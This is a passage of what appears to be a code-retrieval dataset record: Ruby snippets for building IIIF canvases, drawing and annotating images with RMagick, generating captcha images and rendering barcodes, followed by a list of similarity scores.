\"rpm\",\n :name => package[\"NAME\"],\n :arch => package[\"ARCH\"],\n :version => {\n :@epoch => package[\"EPOCHNUM\"],\n :@ver => package[\"VERSION\"],\n :@rel => package[\"RELEASE\"].split(\".\").first,\n },\n :checksum => [\n {\n :@type => \"sha\",\n :@pkgid => \"YES\",\n },\n package[:generated_sha],\n ],\n :summary => package[\"SUMMARY\"],\n :description => [package[\"DESCRIPTION\"]].flatten.compact.join(\" \"),\n :packager => package[\"PACKAGER\"],\n :url => package[\"URL\"],\n :time => {\n :@file => Time.now.to_i,\n :@build => package[\"BUILDTIME\"],\n },\n :size => {\n :@archive => package[\"ARCHIVESIZE\"],\n :@package => package[:generated_size],\n :@installed => package[\"LONGSIZE\"],\n },\n :location => package[:generated_path],\n :format => {\n \"rpm:license\" => package[\"LICENSE\"],\n \"rpm:vendor\" => package[\"VENDOR\"],\n \"rpm:group\" => package[\"GROUP\"],\n \"rpm:buildhost\" => package[\"BUILDHOST\"],\n \"rpm:header-range\" => {\n :@start => package[:generated_header][:start],\n :@end => package[:generated_header][:end],\n },\n \"rpm:provides\" => {\n \"rpm:entry\" => Array.new.tap { |entries|\n pro_ver = package[\"PROVIDEVERSION\"].dup\n package[\"PROVIDENAME\"].each_with_index do |p_name, p_idx|\n item = {:@name => p_name}\n if p_flag = VERSION_FLAGS[package[\"PROVIDEFLAGS\"][p_idx]]\n p_ver, p_rel = pro_ver.shift.split(\"-\", 2)\n item.merge!(:@flags => p_flag, :@ver => p_ver, :@rel => p_rel, :@epoch => package[\"EPOCHNUM\"])\n end\n entries.push(item)\n end\n },\n },\n \"rpm:requires\" => {\n \"rpm:entry\" => Array.new.tap { |entries|\n req_ver = package[\"REQUIREVERSION\"].dup\n package[\"REQUIRENAME\"].each_with_index do |r_name, r_idx|\n item = {:@name => r_name}\n if r_flag = VERSION_FLAGS[package[\"REQUIREFLAGS\"][r_idx]]\n r_ver, r_rel = req_ver.shift.split(\"-\", 2)\n item.merge!(:@flags => r_flag, :@ver => r_ver, :@rel => r_rel, :@epoch => package[\"EPOCHNUM\"])\n end\n entries.push(item)\n end\n },\n },\n },\n }\n },\n },\n }\n args = [origin_name, dist_name, component_name, \"repodata\", \"primary.xml\"]\n [\n create_file(*args) do |file|\n file.puts generate_xml(content)\n end,\n compress_file(*args),\n ]\n end", "def resourceType\n 'DocumentManifest'\n end", "def resourceType\n 'DocumentManifest'\n end" ]
[ "0.68924505", "0.6339366", "0.63171244", "0.61669075", "0.6130286", "0.613018", "0.6116419", "0.5985955", "0.59582496", "0.58460945", "0.5833622", "0.5813625", "0.57900375", "0.57154995", "0.5670805", "0.56653976", "0.56653976", "0.5660883", "0.56424326", "0.56255674", "0.5609346", "0.55390453", "0.5523488", "0.5518902", "0.5496551", "0.5467654", "0.5464436", "0.5448061", "0.54350346", "0.54318583", "0.5431399", "0.53984493", "0.5368106", "0.5353603", "0.53477913", "0.53477323", "0.53184724", "0.5296605", "0.526783", "0.52449995", "0.523538", "0.523538", "0.5231858", "0.5227014", "0.5222054", "0.52007276", "0.5198542", "0.51964456", "0.51932913", "0.5184085", "0.5178958", "0.51703817", "0.5156277", "0.5155651", "0.5148644", "0.5133938", "0.50941694", "0.50767976", "0.5069657", "0.50607175", "0.50602597", "0.50582856", "0.5056398", "0.5055147", "0.5049705", "0.50495404", "0.50277746", "0.5021535", "0.50093484", "0.50093484", "0.50065386", "0.4987944", "0.49791488", "0.4965134", "0.49631402", "0.49362195", "0.49325576", "0.49315616", "0.49291146", "0.49288335", "0.49286366", "0.49246246", "0.49151763", "0.49100357", "0.48973107", "0.48873585", "0.48854175", "0.48829657", "0.48822606", "0.4880326", "0.4866178", "0.4859416", "0.4852664", "0.4846165", "0.48457634", "0.4844282", "0.48344165", "0.48341638", "0.4830157", "0.4830157" ]
0.6982323
0
Returns canvas with one annotated image. The canvas and image size are the same.
def canvas(index:, width:, height:, profile:, label: nil, filepath:, additional_downloads: nil) canvas = IIIF::Presentation::Canvas.new canvas['@id'] = uri(image_server, "#{id}/canvas/p#{index}") canvas.label = label || "p. #{index}" canvas.height = height canvas.width = width annotation = IIIF::Presentation::Annotation.new # By providing width, height and profile, we avoid the IIIF gem fetching the data again. annotation.resource = IIIF::Presentation::ImageResource.create_image_api_image_resource( service_id: uri(image_server, filepath), width: width, height: height, profile: profile, ) annotation['on'] = canvas['@id'] canvas.images << annotation if additional_downloads canvas['rendering'] = additional_downloads.map { |download_info| rendering(download_info) } end canvas end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def create_canvas(w, h, bkg_col)\n @draw = Magick::Draw.new\n @draw.pointsize = @@pointsize # TODO Use height\n @draw.pointsize = @options[:font_size] if @options.has_key?(:font_size)\n @canvas = Magick::Image.new(w , h) { self.background_color = bkg_col }\n\n # Make room for label and last value\n unless @options[:label].nil?\n if (@options[:has_last].nil?)\n @options[:has_last] = true\n end\n @label_width = calculate_width(@options[:label])\n @data_last_width = calculate_width(formatted_last_data_string)\n\n # TODO: Must figure out correct spacing\n @label_and_data_last_width = @label_width + @data_last_width + @@label_margin * 3.0\n w += @label_and_data_last_width\n end\n\n @canvas = Magick::Image.new(w , h) { self.background_color = bkg_col }\n @canvas.format = \"PNG\"\n\n # Draw label and last value\n unless @options[:label].nil?\n if ENV.has_key?('MAGICK_FONT_PATH')\n vera_font_path = File.expand_path('Vera.ttf', ENV['MAGICK_FONT_PATH'])\n @font = File.exists?(vera_font_path) ? vera_font_path : nil\n else\n @font = nil\n end\n @font = @options[:font] if @options.has_key?(:font)\n\n @draw.fill = 'black'\n @draw.font = @font if @font\n @draw.gravity = Magick::WestGravity\n @draw.annotate( @canvas,\n @label_width, 1.0,\n w - @label_and_data_last_width + @@label_margin, h - calculate_caps_height/2.0,\n @options[:label])\n\n @draw.fill = 'red'\n @draw.annotate( @canvas,\n @data_last_width, 1.0,\n w - @data_last_width - @@label_margin, h - calculate_caps_height/2.0,\n formatted_last_data_string)\n end\n end", "def mark_image(image)\n images = Magick::Image.from_blob(image) # from_blob returns array of images\n image = images[0] # method is receiving just one image\n\n mark = Magick::Image.new(image.columns, image.rows)\n\n gc = Magick::Draw.new\n gc.gravity = Magick::CenterGravity\n gc.pointsize = 32\n gc.font_family = \"Arial\"\n gc.font_weight = Magick::BoldWeight\n gc.stroke = 'none'\n gc.annotate(mark, 0, 0, 0, 0, WATERMARK_STRING)\n\n mark = mark.shade(true, 310, 30)\n\n image.composite!(mark, Magick::CenterGravity, Magick::HardLightCompositeOp)\n\n image = image.to_blob\n return image\nend", "def draw_image_for_char(char)\n canvas = Magick::Image.new(@config.char_width, @config.char_height)\n gc = Magick::Draw.new\n gc.pointsize = 20.0\n #gc.font_family = \"Helvetica\"\n #gc.font_weight = Magick::BoldWeight\n\n gc.stroke('transparent')\n gc.fill('black')\n gc.gravity = Magick::CenterGravity\n gc.annotate(canvas, 0, 0, 0, 0, char)\n\n gc.draw(canvas)\n\n canvas\n end", "def composite_image\n\t\tcolor = self.colour_scheme.font\n\t\thighlight_color = self.colour_scheme.highlight\n\t\t@text.annotate(@canvas, 0, 0, @x, @y, @quote) { self.fill = color }\n\n\t\tif @quote_marks\n\t\t\t@text.annotate(@canvas, 0, 0, (@x - 28), @y, \"“\") {self.fill = color }\n\t\tend\n\n\t\t@citation_params.annotate(@canvas, 0, 0, @x , @y + @quote_height, @citation) {self.fill = highlight_color}\n\tend", "def to_canvas(opts={})\n with_options opts do\n canvas = PNG::Canvas.new(full_width, full_height, PNG::Color::White)\n\n if barcode.two_dimensional?\n x, y = margin, margin\n booleans.reverse_each do |line|\n line.each do |bar|\n if bar\n x.upto(x+(xdim-1)) do |xx|\n y.upto y+(ydim-1) do |yy|\n canvas[xx,yy] = PNG::Color::Black\n end\n end\n end\n x += xdim\n end\n y += ydim\n x = margin\n end\n else\n x, y = margin, margin\n booleans.each do |bar|\n if bar\n x.upto(x+(xdim-1)) do |xx|\n y.upto y+(height-1) do |yy|\n canvas[xx,yy] = PNG::Color::Black\n end\n end\n end\n x += xdim\n end\n end\n\n canvas\n end\n end", "def render\n canvas = Vips::Image.grey(@width, @height)\n\n @tiles.each do |tile|\n canvas = canvas.insert(tile.image, tile.offset.x, tile.offset.y) # rubocop:disable Style/RedundantSelfAssignment\n end\n\n # add attribution image to bottom corner if available & attribution fits into image\n if add_attribution?\n options = { x: canvas.width - attribution.width, y: canvas.height - attribution.height }\n canvas = canvas.composite2(attribution, :over, **options)\n end\n\n canvas\n end", "def canvas\n @canvas\n end", "def getAnnoWOriginalCanvas inputAnno\n return if inputAnno.nil?\n p \"in getAnnoWOriginalCanvas: current anno_id: #{inputAnno.annotation_id} and current canvas: #{inputAnno.canvas}\"\n return(inputAnno) if (inputAnno.canvas.to_s.include?('/canvas/'))\n\n #targetAnnotation = Annotation.where(canvas:inputAnno.canvas).first\n targetAnnotation = Annotation.where(annotation_id:inputAnno.canvas).first\n\n getAnnoWOriginalCanvas targetAnnotation\n end", "def canvas_for(slice, opts)\n file = file_for(slice, opts)\n file[:canvas]\n end", "def composing\n background = Image.read('test.png').first\n avatar = Image.read('499317.jpeg').first\n\n avatar_resized = avatar.resize_to_fit(40,40)\n avatar_resized.border!(1, 1, 'black')\n avatar_resized.shadow(2, 5, 3)\n\n marketing_image = background.composite(avatar_resized, 30, 58, OverCompositeOp)\n\n text = \"耀你的命 show me your lives!\"\n\n content = Magick::Draw.new\n content.annotate(marketing_image, 0, 0, 60, 550, text) do\n self.font = './ZuiYouTi-2.ttf'\n self.pointsize = 24\n self.font_weight = Magick::BoldWeight\n self.fill = 'black'\n self.gravity = Magick::SouthEastGravity\n end\n\n\n marketing_image.write(\"marketing_image.png\")\nend", "def newCanvas\n @layerArray = Array.new #Reset the layer array\n @imageArray = Array.new #Reset the image array\n @dirtyArray = Array.new #Reset the dirty array\n @activeIndex = 0 #Reset the active index\n @exportImage = FXPNGImage.new(@parentApp, nil, @canvasWidth, @canvasHeight)\n @exportImage.create #initializes the image object.\n @exportImage.resize(@canvasWidth, @canvasHeight) #Sets the image to match canvas width and height\n createImage() #Push a blank image data.\n @activeImage = @imageArray[@activeIndex] #Update active index to default.\n @canvas.update #Update the draw canvas to reflect changes.\n end", "def getTargetingAnnosCanvas inputAnno\n return if inputAnno.nil?\n p \"in getTargetingAnnosCanvas: current anno_id: #{inputAnno.annotation_id} and current canvas: #{inputAnno.canvas}\"\n return(inputAnno.canvas) if (inputAnno.canvas.to_s.include?('/canvas/'))\n\n #targetAnnotation = Annotation.where(canvas:inputAnno.canvas).first\n targetAnnotation = Annotation.where(annotation_id:inputAnno.canvas).first\n\n getTargetingAnnosCanvas targetAnnotation\n end", "def setMultipleCanvas\n # @annotationIn['canvas'] = '|'\n # @annotationIn['on'].each do |on|\n # @annotationIn['canvas'] += on['full'] + '|'\n # end\n # return @annotationIn['canvas']\n\n @annotationIn['on'][0]['full']\n end", "def export(canvas)\n image = Magick::Image.new(canvas.width, canvas.height)\n image.import_pixels(0, 0, canvas.width, canvas.height, \"RGBA\", canvas.pixels.pack(\"N*\"))\n image\n end", "def single_image\n page_number = 1\n\n input_image_path = \"/Users/kyle/Dropbox/code/kyletolle/handwriting_transcription/page#{page_number}.jpg\"\n image = Magick::Image.read(input_image_path)[0]\n json_path =\"/Users/kyle/Dropbox/code/kyletolle/handwriting_transcription/output-#{page_number}-to-#{page_number}.json\"\n json_text = File.read(json_path)\n json = JSON.parse(json_text)\n\n bounding_box = json[\"responses\"].first[\"textAnnotations\"][1][\"boundingPoly\"]\n vertices = bounding_box[\"vertices\"]\n\n draw = Magick::Draw.new\n\n # For drawing boxes around all words.\n # text_annotations = json[\"responses\"].first[\"textAnnotations\"][1..-1]\n # text_annotations.each do |text_annotation|\n # bounding_box = text_annotation[\"boundingPoly\"]\n # vertices = bounding_box[\"vertices\"]\n\n # p1 = [ vertices[0]['x'], vertices[0]['y'] ]\n # p2 = [ vertices[1]['x'], vertices[1]['y'] ]\n # p3 = [ vertices[3]['x'], vertices[3]['y'] ]\n # p4 = [ vertices[2]['x'], vertices[2]['y'] ]\n\n # draw.line(p1[0],p1[1], p2[0], p2[1])\n # draw.line(p1[0],p1[1], p3[0], p3[1])\n # draw.line(p2[0],p2[1], p4[0], p4[1])\n # draw.line(p3[0],p3[1], p4[0], p4[1])\n # end\n\n # For drawing colored boxes around all symbols\n\n confidence_symbols_to_colors = {\n very_confidence: '#BED1D8',\n moderately_confidence: '#FFAE03',\n sort_of_confidence: '#E67F0D',\n low_confidence: '#E9190F'\n }\n\n numbers_to_confidence_symbols = {\n 80..100 => :very_confidence,\n 50..80 => :moderately_confidence,\n 31..50 => :sort_of_confidence,\n 0..30 => :low_confidence\n }\n\n pages = json[\"responses\"].first[\"fullTextAnnotation\"]['pages']\n blocks = pages.map{|p| p['blocks'] }.flatten.compact\n paragraphs = blocks.map{|b| b['paragraphs'] }.flatten.compact\n words = paragraphs.map{|p| p['words'] }.flatten.compact\n symbols = words.map{|w| w['symbols'] }.flatten.compact\n symbol_total = symbols.count\n symbols.each.with_index do |symbol, index|\n puts \"Processing symbol #{index} of #{symbol_count}\"\n bounding_box = symbol[\"boundingBox\"]\n vertices = bounding_box[\"vertices\"]\n confidence_number = (symbol['confidence'] * 100).to_i\n confidence_symbol = numbers_to_confidence_symbols.select{|n| n === confidence_number }.values.first\n color = confidence_symbols_to_colors[confidence_symbol]\n\n draw.stroke(color)\n draw.stroke_width(5)\n\n p1 = [ vertices[0]['x'], vertices[0]['y'] ]\n p2 = [ vertices[1]['x'], vertices[1]['y'] ]\n p3 = [ vertices[3]['x'], vertices[3]['y'] ]\n p4 = [ vertices[2]['x'], vertices[2]['y'] ]\n\n draw.line(p1[0],p1[1], p2[0], p2[1])\n draw.line(p1[0],p1[1], p3[0], p3[1])\n draw.line(p2[0],p2[1], p4[0], p4[1])\n draw.line(p3[0],p3[1], p4[0], p4[1])\n\n draw.draw(image)\n end\n output_image_path = \"/Users/kyle/Dropbox/code/kyletolle/handwriting_transcription/page#{page_number}.5px.symbols.jpg\"\n image.write(output_image_path)\nend", "def get\n unless @image.kind_of? Magick::Image\n raise TypeError, \"images must be set and be an instance of RMagick::Image\"\n end\n \n draw\n @image #returns image with grid drawn on top\n end", "def draw_image(image, x1, y1, c)\n end", "def area\n image_new(face_width, face_height)\n end", "def canvas_builder\n IIIFManifest::ManifestServiceLocator::InjectedFactory.new(\n ::ManifestBuilder::CanvasBuilder,\n iiif_canvas_factory: iiif_canvas_factory,\n image_builder: image_builder\n )\n end", "def getTargetingAnnosCanvas inputAnno\n return if inputAnno.nil?\n return(inputAnno.canvas) if (inputAnno.canvas.to_s.include?('/canvas/'))\n targetAnnotation = Annotation.where(\"annotation_id like ? \", \"%#{inputAnno.canvas}%\").first\n\n\n if targetAnnotation.nil?\n return\n else\n getTargetingAnnosCanvas targetAnnotation\n end\n end", "def build_canvas(lines_of_text_blocks)\n # Grab the greatest values for each line\n line_baseline = []\n line_height = []\n line_width = []\n lines_of_text_blocks.each_index do |i|\n baselines = (lines_of_text_blocks[i].sort { |a,b| a.baseline <=> b.baseline })\n heights = (lines_of_text_blocks[i].sort { |a,b| a.height <=> b.height })\n line_baseline << baselines.last.baseline\n line_height << heights.last.height - heights.last.line_spacing\n width = 0\n lines_of_text_blocks[i].each { |l| width += l.width }\n line_width << width\n end\n \n # set up canvas height and width\n @width = line_width.sort.last\n height = 0\n line_spacing_height = 0\n line_height.each { |h| height += h ; line_spacing_height += (h * (@options[:line_spacing] || 0)) }\n line_spacing_height -= (line_height.last * (@options[:line_spacing] || 0))\n @height = height + line_spacing_height\n \n options = nil\n if @options[:matte]\n options = @options.dup\n options[:bgcolor] = 'transparent'\n else\n options = @options\n end\n \n @canvas = IQ::Image::Canvas.new(@width, @height, options)\n \n # actually go through the lines and do stuff with them to make the canvas\n # for each line align each text block with the baseline\n top = 0\n lines_of_text_blocks.each_index do |i|\n left = 0\n lines_of_text_blocks[i].each do |text_block|\n offset = (line_baseline[i] - text_block.baseline)\n @canvas.overlay!(text_block.to_canvas, :dest_x => left, :dest_y => top + offset)\n left += text_block.width\n end\n top += line_height[i] + ((@options[:line_spacing] || 0) * line_height[i])\n end\n @canvas\n end", "def draw_ori( image, x_coord, y_coord )\n origin = Magick::Draw.new\n pointsize = @font_size\n\n origin.annotate( image, @text_width * \"ori\".length, @text_height, x_coord, y_coord - @text_height, \"ori\" ) do\n self.gravity = Magick::CenterGravity\n self.font_weight = Magick::BoldWeight\n self.fill = \"black\"\n self.pointsize = pointsize\n end\n\n return image\n end", "def to_image(opts={})\n with_options opts do\n canvas = Magick::Image.new(full_width, full_height)\n bars = Magick::Draw.new\n\n x1 = margin\n y1 = margin\n\n if barcode.two_dimensional?\n encoding.each do |line|\n line.split(//).map{|c| c == '1' }.each do |bar|\n if bar\n x2 = x1+(xdim-1)\n y2 = y1+(ydim-1)\n # For single pixels use point\n if x1 == x2 && y1 == y2\n bars.point(x1,y1)\n else\n bars.rectangle(x1, y1, x2, y2)\n end\n end\n x1 += xdim\n end\n x1 = margin\n y1 += ydim\n end\n else\n booleans.each do |bar|\n if bar\n x2 = x1+(xdim-1)\n y2 = y1+(height-1)\n bars.rectangle(x1, y1, x2, y2)\n end\n x1 += xdim\n end\n end\n\n bars.draw(canvas)\n\n canvas\n end\n end", "def C(*args)\n @image = Image.new(@image.cols, @image.rows) if @image\n end", "def img\n Magick::Image::read(self.image).first\n end", "def generate_image\n image = Magick::Image.new(@width, @height) do\n self.background_color = \"transparent\"\n end\n\n draw_dots(image)\n\n image\n end", "def render_cassette\n image = render_mutant_region( @construct.cassette_features, :label => @construct.cassette_label )\n\n # Construct the annotation image\n image_list = Magick::ImageList.new\n annotation_image = Magick::Image.new( image.columns, @annotation_height )\n\n # Stack the images\n image_list.push( annotation_image )\n image_list.push( image )\n\n return image_list.append( true )\n end", "def generate\n MiniMagick::Tool::Convert.new do |i|\n i.font random_font\n i.size image_size\n i.pointsize config[:font_size]\n i.fill config[:font_color]\n i.gravity \"center\"\n i.canvas config[:background]\n i.draw \"text 0,0 '#{text}'\"\n i.noise + \"Gaussian\"\n i << \"#{config[:format]}:-\"\n end\n end", "def cgimage\n CGBitmapContextCreateImage(@ctx) # => CGImageRef (works with bitmap context only)\n #cgimageref = CGImageCreate(@width, @height, @bits_per_component, nil,nil,@colorspace, nil, @provider,nil,true,KCGRenderingIntentDefault)\n end", "def read_canvas\n @surface = ::Cairo::ImageSurface.from_png(@file)\n bind_context\n end", "def gen_captcha\n\tcaptcha = \"\"\n\t5.times { captcha << (rand(26)+65).chr }\n\thashed = Digest::MD5.hexdigest(captcha)\n\t\n\tcanvas = Magick::Image.new(80,30, Magick::HatchFill.new('#ffffff','#0169e1'))\n\n\ttext = Magick::Draw.new\n\ttext.annotate(canvas,60,25,10,0,captcha) {\n\t\t self.fill = \"#000000\"\n\t\t self.stroke = \"transparent\"\n\t\t self.pointsize = 22\n\t\t self.font_weight = Magick::BoldWeight\n\t\t self.gravity = Magick::SouthGravity\n\t}\n\t\n\tcanvas = canvas.implode(-0.4)\n\tcanvas.write($captcha_folder+hashed+\".jpg\")\n\t\n\treturn hashed\nend", "def to_image(opts={})\n opts.each{|k,v| send(\"#{k}=\", v) if respond_to?(\"#{k}=\") }\n canvas = Magick::Image.new(full_width, full_height)\n bars = Magick::Draw.new\n\n x = margin\n y = margin\n booleans.each do |bar|\n if bar\n bars.rectangle(x, y, x+(xdim-1), y+height)\n end\n x += xdim\n end\n\n bars.draw(canvas)\n\n canvas\n end", "def composite(data, options = {})\n info = self.class.info data\n \n opts = {\n :x => 0,\n :y => 0,\n :width => info.width,\n :height => info.height,\n :preserve_aspect_ratio => true\n }.merge(options)\n \n dest_width, dest_height = self.class.calculate_aspect_ratio info, opts\n \n @canvas.composite data, :width => Integer(dest_width),\n :height => Integer(dest_height),\n :x => opts[:x], \n :y => opts[:y]\n end", "def do_draw(canvas, data)\n draw = Magick::Draw.new\n draw.fill('green')\n \n data.size.times do |y|\n data[y].size.times do |x|\n if data[y][x] == 1\n draw.rectangle(\n x * @x_map, y * @y_map,\n x * @x_map + @x_map, y * @y_map + @y_map)\n end\n end\n end\n \n draw.draw(canvas)\n end", "def begin_canvas\n if @width && @height\n @surface = ::Cairo::ImageSurface.new(::Cairo::FORMAT_ARGB32, @width, @height)\n else\n @surface = ::Cairo::ImageSurface.from_png(@file)\n end\n bind_context\n end", "def draw_image(img, x=0, y=0, w=nil, h=nil, pagenum=1)\n new_state do\n if (img.kind_of?(Pdf))\n w ||= img.width(pagenum)\n h ||= img.height(pagenum)\n if(@registration == :center)\n x = x - w / 2\n y = y - h / 2\n end\n img.draw(@ctx, x, y, w, h, pagenum)\n elsif(img.kind_of?(String) || img.kind_of?(Image))\n img = Image.new(img) if img.kind_of?(String)\n w ||= img.width\n h ||= img.height\n img.draw(@ctx, x, y, w, h)\n else\n raise ArgumentError.new(\"canvas.image: not a recognized image type: #{img.class}\")\n end\n end\n end", "def image_new(width, height)\n Magick::Image.new(width, height)\n end", "def cur_image\n self\n end", "def _prepare_canvas(t, canvas)\n canvas.xc @color[t].to_imagemagick\n end", "def draw_cassette_feature( image, feature, x, y, params = {} )\n width = feature.width\n height = @feature_height\n colour = feature.render_options[ \"colour\" ] || params[:colour] || \"white\"\n font = feature.render_options[ \"font\" ] || params[:font] || \"black\"\n label = params[:label] || feature.feature_name\n drawing = Magick::Draw.new\n\n # create a block\n drawing.stroke( \"black\" )\n drawing.fill( colour )\n drawing.rectangle( x, @top_margin, x + width, @image_height - @bottom_margin )\n drawing.draw( image )\n\n # annotate the block\n pointsize = @font_size\n drawing.annotate( image, width, height, x, @top_margin, label ) do\n self.fill = font\n self.font_weight = Magick::BoldWeight\n self.gravity = Magick::CenterGravity\n self.pointsize = pointsize\n end\n\n return image\n end", "def create\n # byebug\n @canvas = Canvas.create(canvas_params)\n end", "def fit_image(*args)\n @p.fit_image(self, *args)\n end", "def identify\n MiniMagick::Tool::Identify.new do |builder|\n yield builder if block_given?\n builder << path\n end\n end", "def canvas\n @canvas ||= VectorSalad::Canvas.new\n end", "def create_image\r\n if @max_width\r\n @image = Gosu::Image.from_text($window, @text, @font, @size, @line_spacing, @max_width, @align)\r\n else\r\n @image = Gosu::Image.from_text($window, @text, @font, @size)\r\n end\r\n end", "def imagemagick?; end", "def ciimage\n cgimageref = self.cgimage\n CIImage.imageWithCGImage(cgimageref) # CIConcreteImage (CIImage)\n end", "def build_label(text)\n shading = false\n\n label = Magick::Image.new(@options[:width], @options[:height])\n image = Magick::Draw.new\n image.gravity = Magick::CenterGravity\n image.pointsize = @options[:width] / 4\n image.font = 'Helvetica'\n image.font_weight = Magick::NormalWeight\n image.stroke = 'none'\n image.annotate(label, 0, 0, 0, 0, text)\n label = label.shade(shading, 310, 30)\n\n return label\n end", "def draw_en2_k_frame( image, feature, point )\n draw_cassette_feature( image, feature, point[0], point[1], :label => \"En2 SA\" )\n\n # write the annotation above\n pointsize = @font_size * 0.75\n atg_label = Magick::Draw.new\n atg_label.annotate( image, feature.width, @top_margin, point[0], 0, \"ATG\" ) do\n self.fill = \"black\"\n self.gravity = Magick::CenterGravity\n self.font_weight = Magick::BoldWeight\n self.font_style = Magick::ItalicStyle\n self.pointsize = pointsize\n end\n\n return image\n end", "def createImageView\n @imageView = NSImageView.alloc.initWithFrame(IMAGE_FRAME).tap do |obj|\n obj.autoresizingMask = NSViewMinYMargin\n obj.imageScaling = NSScaleToFit # NSScaleProportionally\n obj.editable = true\n end\n end", "def process_small_image\n small_image.encode!(:png).convert!('-resize 50x50 -gravity center -background none -extent 50x50')\n end", "def draw\n @width = @image.columns\n @height = @image.rows\n gc = Magick::Draw.new\n gc.stroke(@color)\n \n #draw horizontal lines\n (0...@height).step(cell_height) do |i|\n gc.line(0,i,@width,i)\n i += cell_height\n end\n \n #draw vertical lines\n (0...@width).step(cell_width) do |i|\n gc.line(i,0,i,@height)\n \n end\n gc.draw(@image)\n end", "def save_random_captcha(text, dataset)\n image = Magick::Image.new(160, 80)\n image.format = \"jpg\"\n image.gravity = Magick::CenterGravity\n image.background_color = 'white'\n\n draw = Magick::Draw.new\n draw.annotate(image, image.columns, image.rows, 0, 0, text) {\n self.gravity = Magick::CenterGravity\n self.pointsize = 28\n self.fill = 'darkblue'\n self.stroke = 'transparent'\n self.rotation = rand(-20..20)\n }\n\n image = image.gaussian_blur(0.0, rand)\n image = image.implode((rand(1)) / 10.0)\n image = image.swirl(rand(15))\n image = image.radial_blur(rand(5))\n image = image.add_noise(Magick::ImpulseNoise)\n image = image.wave(2 + rand(1), 20 + rand(10))\n image = image.crop(0,0,160,80)\n\n File.write(\"./captcha_dataset/#{dataset}/#{text}.jpg\", image.to_blob)\nend", "def new \n @image = Image.new\n end", "def perform\n @bitmap.width = @x_axis\n @bitmap.height = @y_axis\n @bitmap.generate_pixels\n end", "def canvas_id\n return if request.canvas_id.blank?\n\n if canvases.any? { |canvas| canvas['@id'] == request.canvas_id }\n request.canvas_id\n elsif cocinafied_canvases? && request.canvas_id.exclude?('cocina-fileSet')\n cocinafied_canvas_id\n else\n Honeybadger.notify(\n \"Unable to find requested canvas id '#{request.canvas_id}' in manifest for #{purl_object.druid}\"\n )\n\n nil\n end\n end", "def draw\n @image.draw(@x, @y, 1)\n end", "def draw x, y, imageMagick\n imageMagick.drawSquare(x,y)\nend", "def dup_src\n BufferedImage.new to_java.color_model, to_java.raster, true, nil\n end", "def convert_to_img\n\t\t\t`gs -sDEVICE=png16m '-r#{OCR::MIN_DENSITY}' -o '#{@image}' '#{@input_file}'`\n\t\tend", "def to_image\n # TODO: generate Image object from PatchedImage contents\n raise NotImplementedError\n end", "def extract_image(coords)\n i = @image.crop(*coords, true)\n end", "def main\n ImageManip::inspect_image(@image_path)\n dimensions = ImageManip::get_dimensions(@image_path)\n sharp_pixels = get_accidental_pixels(@sharp_path)\n flat_pixels = get_accidental_pixels(@flat_path)\n edits = Hash.new\n edits[:lower_left] = [dimensions[0] / 2, dimensions[1] / 2]\n edits[:rgb_array] = sharp_pixels\n ImageManip::draw_2D_object(@image_path, './new_staff.gif', edits)\n edits[:lower_left] = [dimensions[0] / 3, dimensions[1] / 3]\n edits[:rgb_array] = flat_pixels\n ImageManip::draw_2D_object('./new_staff.gif', './new_staff.gif', edits)\n end", "def image; end", "def draw_and_save_image\n\t\tcolor = @avatar[:color]\n\t\tpng = ChunkyPNG::Image.new(250, 250, ChunkyPNG::Color::WHITE)\n\t\tcolor = ChunkyPNG::Color.rgba(color[:r], color[:g], color[:b], color[:alpha])\n\t\t@colorable_grid.each do |points|\n\t\t\tp1 = points[0]\n\t\t\tp2 = points[1]\n\t\t\tpng.rect(p1[0], p1[1], p2[0], p2[1] , color, color)\n\t\tend\n\t\tpng.save(File.join(Dir.pwd, \"/#{@term}.png\"), :interlace => true)\n\tend", "def image\n @image ||= MiniMagick::Image.open(source_path)\n end", "def with_no_cover\n build_image\n self\n end", "def initialize(options={}, &block)\n if options[:size]\n options[:width] = options[:size][0]\n options[:height] = options[:size][1]\n end\n options = DefaultOptions.merge(options)\n\n @width = options[:width]\n @height = options[:height]\n @output = options[:filename] || 'test'\n @stacksize = 0\n @colorspace = CGColorSpaceCreateDeviceRGB() # => CGColorSpaceRef\n @autoclosepath = false\n\n case options[:type]\n when :pdf\n @filetype = :pdf\n # CREATE A PDF DRAWING CONTEXT\n # url = NSURL.fileURLWithPath(image)\n url = CFURLCreateFromFileSystemRepresentation(nil, @output, @output.length, false)\n pdfrect = CGRect.new(CGPoint.new(0, 0), CGSize.new(width, height)) # Landscape\n #@ctx = CGPDFContextCreateWithURL(url, pdfrect, nil)\n consumer = CGDataConsumerCreateWithURL(url);\n pdfcontext = CGPDFContextCreate(consumer, pdfrect, nil);\n CGPDFContextBeginPage(pdfcontext, nil)\n @ctx = pdfcontext\n when :image, :render\n # CREATE A BITMAP DRAWING CONTEXT\n @filetype = File.extname(@output).downcase[1..-1].intern if options[:type] == :image\n\n @bits_per_component = 8\n @colorspace = CGColorSpaceCreateDeviceRGB() # => CGColorSpaceRef\n #alpha = KCGImageAlphaNoneSkipFirst # opaque background\n alpha = KCGImageAlphaPremultipliedFirst # transparent background\n\n # 8 integer bits/component; 32 bits/pixel; 3-component colorspace; kCGImageAlphaPremultipliedFirst; 57141 bytes/row.\n bytes = @bits_per_component * 4 * @width.ceil\n @ctx = CGBitmapContextCreate(nil, @width, @height, @bits_per_component, bytes, @colorspace, alpha) # => CGContextRef\n when :context\n @ctx = options[:context]\n else\n raise \"ERROR: output file type #{ext} not recognized\"\n end\n\n # antialiasing\n CGContextSetAllowsAntialiasing(@ctx, true)\n\n # set defaults\n fill # set the default fill\n nostroke # no stroke by default\n strokewidth # set the default stroke width\n font # set the default font\n antialias # set the default antialias state\n autoclosepath # set the autoclosepath default\n quality(options[:quality]) # set the compression default\n push # save the pristine default default graphics state (retrieved by calling \"reset\")\n push # create a new graphics state for the user to mess up\n if block_given?\n case block.arity\n when 0\n send(:instance_eval, &block)\n else\n block.call(self)\n end\n end\n end", "def extract_image(coords)\n @image.crop(*coords, true)\n end", "def to_image(width, height)\n newimage = Image.new_blank(width, height)\n len = @drawingArray.length()\n i = 0\n while i < len\n @drawingArray[i].render(newimage)\n i += 1\n end \n return newimage\n end", "def render(char, color = @options[:color], size = @options[:size])\n img = Magick::Image.new(size.to_i, size.to_i, Magick::HatchFill.new('transparent', 'transparent'))\n\n draw = Magick::Draw.new\n\n char = convert_to_unicode(char)\n \n draw.font = @font.to_s\n draw.interline_spacing = 0\n draw.pointsize = size.to_i\n draw.gravity = Magick::CenterGravity\n draw.fill = color\n draw.text_antialias = true\n\n 